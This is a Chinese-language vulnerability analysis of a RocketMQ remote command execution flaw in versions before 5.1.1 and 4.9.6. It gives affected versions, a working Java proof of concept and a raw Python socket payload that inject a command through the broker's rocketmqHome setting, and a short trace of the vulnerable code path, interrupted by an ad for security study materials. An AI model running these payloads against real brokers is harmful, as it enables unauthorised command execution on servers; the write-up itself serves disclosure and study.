漏洞簡介
RocketMQ 5.1.0及以下版本,在一定條件下,存在遠端指令執行風險。RocketMQ的NameServer、Broker、Controller等多個元件外網洩露,缺乏權限驗證,攻擊者可以利用該漏洞利用更新配置功能以RocketMQ運作的系統使用者身份執行指令。 此外,攻擊者可以通過僞造 RocketMQ 協定内容來達到同樣的效果。
影響版本
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
安全版本
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6
漏洞複現
在本地建立 maven 項目 并添加依賴
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>5.1.0</version>
</dependency>
</dependencies>
編寫漏洞利用代碼
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class poc1 {
public static void main(String[] args) throws Exception {
// 建立 Properties 對象
Properties props = new Properties();
//修改rocketmqHome配置
props.setProperty("rocketmqHome","-c gnome-calculator test");
props.setProperty("filterServerNums","1");
// 建立 DefaultMQAdminExt 對象并啟動
DefaultMQAdminExt admin = new DefaultMQAdminExt();
//此處為 namesrv 端口,此端口無需可通路
admin.setNamesrvAddr("192.168.222.130:9876");
admin.start();
// 更新配置⽂件
//此處為 broker 端口,必須可通路
admin.updateBrokerConfig("192.168.222.130:10911", props);
// 關閉 DefaultMQAdminExt 對象
admin.shutdown();
}
}
漏洞分析
我們看到真正有危險的操作應該是與 10911 進行通信的操作,沒有進行身份驗證和加密傳輸,同時帶入了指令執行的參數
org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表調用不同的功能
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig
org/apache/rocketmq/remoting/Configuration.java#update
如果屬性名是其内置的,就進行更新操作
【----幫助網安學習,需要網安學習資料關注我,私信回複“資料”免費擷取----】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP用戶端安全檢測指南(安卓+IOS)
後面的一部分就比較清晰了
org/apache/rocketmq/broker/BrokerStartup.java#start
org/apache/rocketmq/broker/BrokerController.java#start
org/apache/rocketmq/broker/BrokerController.java#startBasicService
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start
根據從 Wireshark 中抓取的資料包 我們也可以構造這樣的 payload 觸發漏洞
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',10911))
# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一個位元組是2個十六進制數
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) # 總長度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 協定總長度+json長度+json+body
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
漏洞修複
移除了指令執行的子產品